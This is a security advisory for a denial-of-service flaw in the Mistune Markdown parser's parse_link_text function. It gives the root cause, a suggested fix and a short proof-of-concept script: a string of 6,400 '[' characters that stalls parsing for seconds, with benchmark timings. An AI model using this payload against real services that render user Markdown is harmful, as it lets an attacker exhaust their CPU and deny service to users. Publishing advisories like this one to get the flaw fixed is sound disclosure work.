CVE-2026-49851

Summary

Mistune: Potential DoS via quadratic-time parsing in parse_link_text

Severity

high

CVSS

7.5

EPSS

0.6% (p48)

CWE

CWE-400, CWE-1333

Also known as

GHSA-qcq2-496w-v96p

Published

2026-07-09

Updated

2026-07-09

Advisory details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction:

• The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None
• Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ]
• With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work

PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")

Observed behaviour

python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

• Web applications (comments, posts, content rendering)
• API services processing Markdown
• Documentation rendering systems
• A small (~6 KB) payload can block CPU for multiple seconds.

Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

References

• https://github.com/advisories/GHSA-qcq2-496w-v96p
• https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p
• https://nvd.nist.gov/vuln/detail/CVE-2026-49851
• https://access.redhat.com/security/cve/CVE-2026-49851
• https://bugzilla.redhat.com/show_bug.cgi?id=2492304
• https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json

Related advisories

• CVE-2026-59922 — high · PyPI/mistune
• CVE-2026-59925 — high · PyPI/mistune
• CVE-2026-59928 — high · PyPI/mistune
• GHSA-j95f-988m-3j2f — high · npm/@tiptap/core
• CVE-2026-83619 — high · npm/@xmldom/xmldom
• CVE-2026-83606 — high · npm/@xmldom/xmldom
• CVE-2026-55520 — high · PyPI/Protego
• CVE-2026-49485 — high · Maven/ca.uhn.hapi.fhir:org.hl7.fhir.dstu2

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